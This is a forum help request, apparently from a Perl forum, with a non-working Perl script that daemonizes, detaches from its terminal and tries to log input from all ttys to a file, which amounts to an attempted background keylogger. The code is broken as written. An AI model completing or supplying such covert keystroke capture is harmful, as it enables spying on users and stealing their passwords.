How to read all inputs from all ttys(or from keyboard independent of ttys) and print it to STDOUT to log it into a file "logy"?
I have a code below, part of it I found on the net and part of it I tried to modify to achive my goal. Please help me understand what is wrong in the below code and how to fix it? Thanks in advance
#!/usr/bin/perl -w use strict; use diagnostics; use Carp; use integer; # Completely dissociate from the parent tty and close file descriptors +.<br> sub daemon { local(*TTY,*NULL); exit(0) if (fork); if (open(NULL,"/dev/null")) { open(STDIN,">&NULL") || close(STDIN); open(STDOUT,">&NULL") || close(STDOUT); open(STDERR,">&NULL") || close(STDERR); } else { close(STDIN); close(STDOUT); close(STDERR); } eval 'require "sys/ioctl.ph";'; return if !defined(&TIOCNOTTY); open(TTY,"+>/dev/tty") || return; ioctl(TTY,&TIOCNOTTY,0); close(TTY); } &daemon; open(TTY,"+>/dev/pts*") || return; open(STDIN, "<&TTY") || die "reopen stdin"; ##open(STDOUT, ">&TTY") || die "reopen stout"; close TTY; open (STDOUT, ">logy"); $SIG{INT} = sub { close STDOUT; exit }; $SIG{TERM} = sub { close STDOUT; exit }; while(1) { print <>; ##this line aims print to STDOUT. but how? print $_ doesn't + work either sleep(1); }
Edit: by BazB. Added code tags.
| For: | Use: | ||
| & | & | ||
| < | < | ||
| > | > | ||
| [ | [ | ||
| ] | ] |